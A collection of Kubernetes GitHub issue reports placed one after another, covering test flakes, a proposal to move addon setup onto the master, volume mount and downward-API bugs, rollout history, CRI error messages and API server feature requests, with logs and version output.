1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:19:19z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:19:19z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }   of course you can solve the problem by simply adding localhost to the file /etc/hosts or by switching to hyperkube instead of dedicated kubectl binaries. nevertheless, the question arises why the two tools of releases behave non smoking equal.

deferred creation of \ addon objects\   in prs  2224 and  3292, we added a considerable amount of initialization of state in  kube-up.sh  after the actual kube-up call. this pattern really doesn't work very well for gke: in a gke, kube-up is essentially a single api call that can be made from a variety of clients that aren't  kube-up.sh .  this bug proposes a way to pieces of the initialization in  kube-up.sh  onto the master, so that, aspirationally,  kube-up.sh  results in a single call to a provider-specific  kube-up .    phase 1: cheesy  init.d  script on the master to create objects  in this phase, we move  some  initialization to an  init.d  script on the master. the actual yaml files for the created objects are distributed in salt tarball. we add a tiny  /etc/init.d  script via salt to the master that essentially does the exact same logic that that  kube-up.sh  was doing, with the guiding environment variables plumbed through appropriately to salt on the master  e.g.  enable_cluster_dns ,  enable_cluster_monitoring , etc. . the only complexity for this script is that it needs to wait for the apiserver to be ready before it starts creating objects.    phase 2: move deferred addon objects to a container  rather than having an  init.d  script handle this, load the deferred installation into a container. this has the added complexity of needing a  kubectl  that can auth to the master  so possibly cheat and use  hostdir  to steal the kubelet's creds , but it makes this piece robust. turn this from a silly script into a bit more of a daemon that actually enforces these \ system containers\  are present at any given time.  the main benefits of a container are: - resilience - the script may be finnicky to apiserver instability. - handling configuration change - the init.d script could handle this, but especially given previous point, it's probably better as a real daemon. - disconnect from salt - we can just pass env variables in to the pod. initially these would be from salt, but they don't have to be.   the complexity is primarily high around the build, hence phase 1.  <hr>  this proposal is meant to address  3305 and follow on issues from pr  3292. i hope to have the phase 1 work complete soon, so comments appreciated.  cc @thockin @satnam6502 @vishh @brendanburns

the test is really flaky lately, for example:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/757\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/758\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/taints_test.go:189\r mar  7 04:34:07.792: failed to evict pod\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/taints_test.go:185\r    \r \r cc/ @kubernetes/sig-scheduling-bugs @gmarek, can you help with triage?

gubernator  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster/18 k8sio-daemon-set-serial-should-run-and-stop-complex-daemon-with-node-affinity \r  history  https://k8s-testgrid.appspot.com/1.5-1.7-upgrade gke-cvm-1-5-cvm-1-7-upgrade-cluster&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20daemon%5c%20set%5c%20%5c%5bserial%5c%5d%5c%20should%5c%20run%5c%20and%5c%20stop%5c%20complex%5c%20daemon%5c%20with%5c%20node%5c%20affinity \r \r started failing on 6-16\r    \r go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:272\r error waiting for daemon pods to be running on no nodes\r expected error:\r     < errors.errorstring | 0xc4203cb800>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:249\r    \r \r same error reported in https://github.com/kubernetes/kubernetes/issues/46185\r \r  /assign @mtaufen \r \r

separate this out from a larger issue - \ kubernetes api server should not depend on --cloud-provider and --cloud-config\ :\r https://github.com/kubernetes/kubernetes/issues/49402 issuecomment-317146821\r \r

the last-known-good is only updated on kubelet restart.\r \r we could have this scenario:\r \r lkg is set to local\r we set config a\r config a passes trial period, but nothing caused kubelet to restart\r we set config b, which turns out to be invalid\r kubelet will fall back to local, because lkg was never updated

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r unable to get  meta.name  field as  string  for  persistentvolumeclaim.claimname  using downward api.\r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: kafka-nfs-test\r   namespace: kafka\r spec:\r   servicename: \ kafka-service-test\ \r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: ubuntu-test\r     spec:\r       containers:\r       - image: ubuntu:latest\r         name: ubuntu\r         imagepullpolicy: always\r         command:   \ /bin/bash\ , \ -c\ , \ --\   \r         args:   \ while true; do sleep 30; done;\           \r       volumes:\r       - name: storage\r          persistentvolumeclaim:\r            claimname:\r              fieldref:\r                fieldpath: metadata.name\r    \r \r    \r error validating data: validationerror statefulset.spec.template.spec.volumes 0 .persistentvolumeclaim.claimname : invalid type for io.k8s.kubernetes.pkg.api.v1.persistentvolumeclaimvolumesource.claimname: got \ map\ , expected \ string\ ; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r   what you expected to happen  :\r according to  kubectl explain: \r \r  kubectl explain statefulset.spec.template.metadata.name \r  field: name <string> \r \r  kubectl explain statefulset.spec.template.spec.volumes.persistentvolumeclaim.claimname \r  field: claimname <string> \r \r i would expect the downward api would resolve the field  metadata.name  for the  claimname  as a string. instead it returns a map.\r \r   how to reproduce it  as minimally and precisely as possible   :\r reference the field  metadata.name  as  claimname  for a  persistentvolumeclaim .\r \r   environment  :\r - kubernetes version  use  kubectl version  :    kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.7-rancher1\ , gitcommit:\ a1ea37c6f6d21f315a07631b17b9537881e1986a\ , gittreestate:\ clean\ , builddate:\ 2017-10-02t21:33:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  :\r attempted to mount an azurefile share \ data\  in storageaccount \ storageaccount\  as a volume in a pod. the share \ data\  did not exist at the time because my attention to detail is apparently a bit lacking.\r \r volume unsurprisingly  in hindsight  does not get mounted, with the following event  which makes me scratch my head for a while, wondering if i've hit some kind of max amount of cifs shares, whether the node fs is corrupt or other unpleasant scenarios  on the pod:\r \r    \r  mountvolume.setup failed for volume \ pv-azurefile-volume\  : mount failed: exit status 32 mounting command: systemd-run mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/61bc4ba3-488f-11e8-97d8-000d3a398b2f/volumes/kubernetes.io~azure-file/pv-azurefile-volume --scope -- mount -t cifs -o gid=999,nobrl,dir_mode=0731,file_mode=0724,uid=999,username=storageaccount,password=lousyinsecurepassword,vers=3.0 //storageaccount.file.core.windows.net/data /var/lib/kubelet/pods/61bc4ba3-488f-11e8-97d8-000d3a398b2f/volumes/kubernetes.io~azure-file/pv-azurefile-volume output: running scope as unit run-r692b3b8cb82e4f55bb40895f7b14881c.scope. mount error 2 : no such file or directory refer to the mount.cifs 8  manual page  e.g. man mount.cifs  \r    \r \r looking through the kernel log on the node this pod was scheduled on revelead the actual issue in a much more clear language:\r \r    \r apr 25 14:05:13 k8s-linpool1-20472321-0 kernel: cifs vfs: bad_network_name: \\\\storageaccount.file.core.windows.net\\data\r apr 25 14:05:13 k8s-linpool1-20472321-0 kernel: cifs vfs: session ffff95e1da488800 has no tcon available for a dfs referral request\r apr 25 14:05:13 k8s-linpool1-20472321-0 kernel: cifs vfs: cifs_mount failed w/return code = -2\r    \r \r   what you expected to happen  :\r volume mount failure to gives a more precise description of the reason for the failure, such as the bad_network_name raised by cifs vfs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r attempt to schedule a pod with a volumeclaim that refers to a cifs share that does not exist on a host that does exist.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: 1.9.7\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 16.04.4\r - kernel  e.g.  uname -a  : 4.13.0-1012-azure  15-ubuntu smp thu mar 8 10:47:27 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: https://github.com/github/azure/acs-engine\r - others:\r

seeing sporadic failures of the kops aws e2e due to vpclimitexceeded\r \r    \r w0720 04:43:38.961  w0720 04:43:38.960917    5836 executor.go:130  error running task \ vpc/e2e-97882-dba53.test-cncf-aws.k8s.io\   9m58s remaining to succeed : error creating vpc: vpclimitexceeded: the maximum number of vpcs has been reached.\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/66426/pull-kubernetes-e2e-kops-aws/97882\r https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-e2e-kops-aws\r \r @kubernetes/sig-testing-misc @kubernetes/sig-aws-misc \r /assign @fejta \r  test-infra on-call

 \r don't think this is related to, but not sure  https://github.com/kubernetes/kubernetes/issues/60745 .\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.7-gke.5\ , gitcommit:\ 9b635efce81582e1da13b35a7aa539c0ccb32987\ , gittreestate:\ clean\ , builddate:\ 2018-08-02t23:42:40z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r i'm thinking the  daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate  conformance   should be moved out of conformance... but not quite sure yet. \r \r    \r - sonubuoy e2e results link:  https://scanner.heptio.com/519c1537b4a7fa4ad0855f621b2c678f/diagnostics/\r \r - another nice thing to fix: \r \r the fact that we upgrade from a serv-hostname to a redis image is kinda weird.  why redis ?  from a security perspective, the smaller the dependent image the easier it is to confirm this test has a 'true positive' result set. \r    aug 27 13:53:55.394: info: wrong image for pod: daemon-set-26bm5. expected: gcr.io/kubernetes-e2e-test-images/redis-amd64:1.0, got: gcr.io/kubernetes-e2e-test-images/serve-hostname-amd64:1.0.   \r \r cc @kubernetes/sig-testing \r \r

what happened  :\r \r the externalname of a service is not allowed to end with a trailing dot.\r \r   what you expected to happen  :\r \r the externalname of a service should allow a trailing dot. this is very useful to denote a fully qualified value of the cname record created by the service and prevent dns-trial-and-error by appending different  cluster-local  search domains.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r try to set  example.com.  as a externalname for a service of type externalname.\r \r   more details  \r \r the reference reads:  must be a valid rfc-1123 hostname  https://tools.ietf.org/html/rfc1123  \r rfc-1123 section 6.1.4.3 also states:\r    \r              a   there must be some convention for denoting that a name\r                  is already complete, so that the abbreviation method s \r                  are suppressed.  a trailing dot is the usual method.\r    \r also in the errata of rfc-1123 a reference to rfc-1034 is added to reiterate on what a legal hostname is. section 3.1 of rfc-1034 explains the use and validity of a trailing dot.\r \r so while one could argue that a valid rfc-1123 subdomain may have a trailing dot, it might still be best to not change the  validatedns1123subdomain  which is used in a lot of places, but instead change the service.spec.externalname validation locally.\r \r \r \r   anything else we need to know?  :\r \r i'll send a pr.\r \r   environment  :\r - not much applicable.

\r  mkargaki@dhcp129-211 kubernetes $ kc describe deploy\r name:\t\t\tnginx\r namespace:\t\tdefault\r creationtimestamp:\tmon, 06 mar 2017 13:42:04 +0100\r labels:\t\t\tname=nginx-undo\r annotations:\t\tdeployment.kubernetes.io/revision=4\r selector:\t\tname=nginx-undo\r replicas:\t\t3 desired | 3 updated | 3 total | 3 available | 0 unavailable\r strategytype:\t\trollingupdate\r minreadyseconds:\t0\r rollingupdatestrategy:\t1 max unavailable, 1 max surge\r pod template:\r   labels:\tname=nginx-undo\r   containers:\r    nginx:\r     image:\t\tgcr.io/google-containers/nginx:test-cmd\r     port:\t\t80/tcp\r     environment:\t<none>\r     mounts:\t\t<none>\r   volumes:\t\t<none>\r conditions:\r   type\t\tstatus\treason\r   ----\t\t------\t------\r   available \ttrue\tminimumreplicasavailable\r   progressing \ttrue\tnewreplicasetavailable\r oldreplicasets:\tnginx-2288126985  0/0 replicas created \r newreplicaset:\tnginx-2142116321  3/3 replicas created \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   26s\t\t26s\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-2288126985 to 1\r   26s\t\t26s\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-2142116321 to 2\r   26s\t\t26s\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-2288126985 to 2\r   21s\t\t21s\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-2288126985 to 0\r   21s\t\t21s\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-2670922811 to 2\r   36s\t\t6s\t\t2\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-2142116321 to 3\r   6s\t\t6s\t\t1\tdeployment-controller\t\t\tnormal\t\tdeploymentrollback\trolled back deployment \ nginx\  to revision 1\r   6s\t\t6s\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-2670922811 to 0\r  mkargaki@dhcp129-211 kubernetes $ kc rollout history deploy nginx\r deployments \ nginx\ \r revision\tchange-cause\r 2\t\t<none>\r 3\t\t<none>\r 4\t\t<none>\r \r  mkargaki@dhcp129-211 kubernetes $ kc scale deploy nginx --replicas=0\r deployment \ nginx\  scaled\r  mkargaki@dhcp129-211 kubernetes $ kc describe deploy\r name:\t\t\tnginx\r namespace:\t\tdefault\r creationtimestamp:\tmon, 06 mar 2017 13:42:04 +0100\r labels:\t\t\tname=nginx-undo\r annotations:\t\tdeployment.kubernetes.io/revision=4\r selector:\t\tname=nginx-undo\r replicas:\t\t0 desired | 0 updated | 0 total | 0 available | 0 unavailable\r strategytype:\t\trollingupdate\r minreadyseconds:\t0\r rollingupdatestrategy:\t1 max unavailable, 1 max surge\r pod template:\r   labels:\tname=nginx-undo\r   containers:\r    nginx:\r     image:\t\tgcr.io/google-containers/nginx:test-cmd\r     port:\t\t80/tcp\r     environment:\t<none>\r     mounts:\t\t<none>\r   volumes:\t\t<none>\r conditions:\r   type\t\tstatus\treason\r   ----\t\t------\t------\r   available \ttrue\tminimumreplicasavailable\r   progressing \ttrue\tnewreplicasetavailable\r oldreplicasets:\t<none>\r newreplicaset:\tnginx-2142116321  0/0 replicas created \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   1m\t\t1m\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-2288126985 to 1\r   1m\t\t1m\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-2142116321 to 2\r   1m\t\t1m\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-2288126985 to 2\r   1m\t\t1m\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-2288126985 to 0\r   1m\t\t1m\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-2670922811 to 2\r   1m\t\t1m\t\t2\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled up replica set nginx-2142116321 to 3\r   1m\t\t1m\t\t1\tdeployment-controller\t\t\tnormal\t\tdeploymentrollback\trolled back deployment \ nginx\  to revision 1\r   1m\t\t1m\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-2670922811 to 0\r   19s\t\t19s\t\t1\tdeployment-controller\t\t\tnormal\t\tscalingreplicaset\tscaled down replica set nginx-2142116321 to 0\r  mkargaki@dhcp129-211 kubernetes $ kc rollout history deploy nginx\r deployments \ nginx\ \r revision\tchange-cause\r 4\t\t<none>\r    \r  findoldreplicasets  https://github.com/kubernetes/kubernetes/blob/9a571d9bdeb4844299f783045e642a2c40d4d7e7/pkg/controller/deployment/util/deployment_util.go l642  should stop using the podlist and instead filter based on rs.spec.replicas.\r \r @kubernetes/sig-apps-bugs

is this a bug report or feature request?  \r bug\r \r   kubernetes version    use  kubectl version  :\r kubernetes 1.6+ with cri enabled\r \r   environment  :\r n/a\r \r   what happened  :\r kubelet errors show rpc code = 2 desc = %s that means nothing to an end-user.\r \r   what you expected to happen  :\r only show the rpc code if the operation failure was related to the mechanics of grpc itself and not the operation failing.  any rpc code = 2 failure is not a fault of the grpc mechanics but just the server returning an error.\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r $ kubectl run bad --image=busybox --command -- derekisbad\r 1m\t1m\t1\tkubelet, 127.0.0.1\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ bad\  with rpc error: code = 2 desc = failed to start container \ 882d555cf0460b1850265a4f0ee66152f908898329319a66a5ac18e3b8b9f302\ : error response from daemon: {\ message\ :\ invalid header field value \\\ oci runtime error: container_linux.go:247: starting container process caused \\\\\\\ exec: \\\\\\\\\\\\\\\ derekisbad\\\\\\\\\\\\\\\ : executable file not found in $path\\\\\\\ \\\ \\\ \ }: \ start container failed\ \r    \r \r notice how rpc error: code = 2 desc = %s text repeats everywhere and hurts the users ability to understand what went wrong.  this happens on any operation through the cri.\r \r   anything else we need to know  :\r nope\r

 \r as part of https://github.com/kubernetes/features/issues/130, the  --experimental-bootstrap-token-auth  flag on the api server should be renamed to something like  --enable-bootstrap-token-auth . we'll leave  experimental-bootstrap-token-auth  deprecated  should it be a no-op or not?  for v1.8.\r \r or we should consider adding an explicit  --authenticators  flag to the api server in the same way we have   --controllers   https://github.com/kubernetes/kubernetes/pull/39740  flag on controller-manager.\r right now, it enables/disables most authn plugins implicitely based on other flags  often pointing to various files on disk; if you specified a path to that file, you also want to enable this authn module \r \r what way do you prefer?\r @kubernetes/sig-cluster-lifecycle-feature-requests @kubernetes/sig-auth-feature-requests

is this a bug report or feature request?  :\r  \r   what happened  :\r deployment yml spec allows    owner/image@sha    in the image element but    kubectl set image    does not parse this format.\r \r running:\r    \r kubectl set image --record deployment/deployment-name deployment-name=owner/image@342538af3e2bd8e66ffe7e76dfa38c35a1bf286f18802f859ba77edec64b383d\r    \r \r result  kubectl :\r    \r deployment \ deployment-name\  image updated\r    \r \r result  dashboard :\r deployment shows as failed with error:\r    \r failed to apply default image tag \ owner/image@342538af3e2bd8e66ffe7e76dfa38c35a1bf286f18802f859ba77edec64b383d: couldn't parse image reference \ owner/image@342538af3e2bd8e66ffe7e76dfa38c35a1bf286f18802f859ba77edec64b383d\ : invalid reference format\r    \r \r   what you expected to happen  :\r    kubectl set image    parses this format.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+coreos.0\ , gitcommit:\ 3ed7d0f453a5517245d32a9c57c39b946e578821\ , gittreestate:\ clean\ , builddate:\ 2017-01-13t00:23:19z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1465.6.0\r version_id=1465.6.0\r build_id=2017-08-16-0012\r pretty_name=\ container linux by coreos 1465.6.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\r    \r \r - kernel  e.g.  uname -a  :\r    \r linux localhost 4.12.7-coreos  1 smp tue aug 15 23:54:56 utc 2017 x86_64 intel r  xeon r  cpu e5-2650 v3 @ 2.30ghz genuineintel gnu/linux\r    \r \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r >  \r \r   what happened  : on a cluster with an extension api server  service-catalog in this case , controller manager crashes with the following log:\r controllermanager.go:155  error starting controllers: failed to discover resources: unable to retrieve the complete list of server apis: servicecatalog.k8s.io/v1beta1: an error on the server  \ missing route  no endpoints available for service \\\ catalog-catalog-apiserver\\\  \   has prevented the request from succeeding\r \r \r   what you expected to happen  : it should treat these as transient errors and should not return error to the caller  which is main controller-manager . \r \r   how to reproduce it  as minimally and precisely as possible   :\r don't really know if it is deterministically reproducible, but a mis-configured  or buggy  extension api server can cause this.\r \r   anything else we need to know?  :\r we ran in to similar issue in 1.7 release and it was fixed in this pr https://github.com/kubernetes/kubernetes/pull/49767/files. the change allowed discovery-resources error in controller-manager. so as long as any resource was returned by discovery api, controller-manager would treat it as transient error.\r \r however in 1.9, one of the controllers  resource-quota  was refactored to accept discoveryfn as input and error handling in discoveryfn doesn't handle the transient errors  which were introduced in 1.7 . https://github.com/kubernetes/kubernetes/blob/release-1.9/pkg/controller/resourcequota/resource_quota_controller.go l468\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

add code to allow csi to provide api support for external csi drivers to support block volumes.\r \r   is this a bug report or feature request?  :\r \r 

failing jobs\r  sig-release-1.12-all gce-1.11-1.12-upgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-1.12-all gce-1.11-1.12-upgrade-cluster \r \r   failing tests\r   sig-storage  persistentvolumes-local local volume that cannot be mounted  slow  should fail due to non-existent path  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link-bindmounted  one pod requesting one prebound pvc should be able to mount volume and read from pod1  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link-bindmounted  one pod requesting one prebound pvc should be able to mount volume and write from pod1  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link-bindmounted  set fsgroup for local volume should not set different fsgroups for two pods simultaneously  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link-bindmounted  set fsgroup for local volume should set different fsgroup for second pod if first pod is deleted  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link-bindmounted  set fsgroup for local volume should set fsgroup for one pod  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link-bindmounted  set fsgroup for local volume should set same fsgroup for two pods simultaneously  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link-bindmounted  two pods mounting a local volume at the same time should be able to write from pod1 and read from pod2  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link-bindmounted  two pods mounting a local volume one after the other should be able to write from pod1 and read from pod2  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link  one pod requesting one prebound pvc should be able to mount volume and read from pod1  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link  one pod requesting one prebound pvc should be able to mount volume and write from pod1  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link  set fsgroup for local volume should not set different fsgroups for two pods simultaneously  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link  set fsgroup for local volume should set different fsgroup for second pod if first pod is deleted  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link  set fsgroup for local volume should set fsgroup for one pod  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link  set fsgroup for local volume should set same fsgroup for two pods simultaneously  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link  two pods mounting a local volume at the same time should be able to write from pod1 and read from pod2  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r   sig-storage  persistentvolumes-local  volume type: dir-link  two pods mounting a local volume one after the other should be able to write from pod1 and read from pod2  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster/638 \r \r   triage results\r  storage tests  https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=storage&job=ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster \r \r /cc @tpepper @aishsundar @kubernetes/sig-storage-test-failures \r  /  /milestone v1.12

is this a bug report or feature request?  :\r \r  \r   description  :\r \r promote  taintbasedevictions  to beta in 1.13.\r \r   tasks  :\r \r -  x  simplify taint manager workqueue keys   65350 \r -  x  increase the code coverage of nodelifecyclecontroller   54297 \r -  x  enable and improve e2e of noexecutetaintmanager   69657 \r -  x  add e2e tests for taintbasedevictions   69796 \r -  x  add test cases for taintbasedevictions   69788 \r -  x  enable  taintbasedevictions  in pkg/features/kube_features.go   69824 \r -  x  documents update in k/website  https://github.com/kubernetes/website/pull/10765 \r \r   links  :\r \r - feature: kubernetes/features 166

assume i have an object, e.g. a service, which has a finalizer.  when i delete that object, it correctly waits for the finalizer to be removed.  in that intervening period, i can not see any indication that the object is being deleted.  it does not show up in  kubectl describe .  it is not an event.  if it gets stuck, i have no indication that it is being deleted or if i know that, why it is not complete.\r \r   what would you like to be added  :\r \r some consistent way to see that things are \ currently being deleted, waiting for finalizers x, y, z\

what would you like to be added  :\r in kubernetes watch api i want possibility to get watch notification only when specific field in target object is changed. in other words i want possibility to filter watch notifications on api server.\r \r \r   why is this needed  :\r in big kubernetes clusters kubernetes api can be bottleneck. each time api receives request it goes to etcd, fetches data from it and provides response. and this operation requires significant amount of cpu resources. and taking node list operation can be \r important thing to provide kubernetes networking and other things - e.g. it is actively used in  kube-router  https://github.com/cloudnativelabs/kube-router  project.\r also in our case node list operation is used to determine our app instances weights for proper load balancing - we store node weight in kubernetes node annotation.\r in our kubernetes cluster installation we observed significant api server performance degradation when api server requests reached 4k/minute.\r \r in order to reduce api server load we started to use kubernetes watch api. but using kubernetes watch for node is not perfect because update is emitted each time node receives heartbeat and updates appropriate condition in it's state. so in our app we receive 20 node update watches per \r second while we need only information about node weight annotation update. so i'd like to propose to allow filtering watch responses. that will significantly reduce traffic between api server and endpoints and reduce api server load.\r

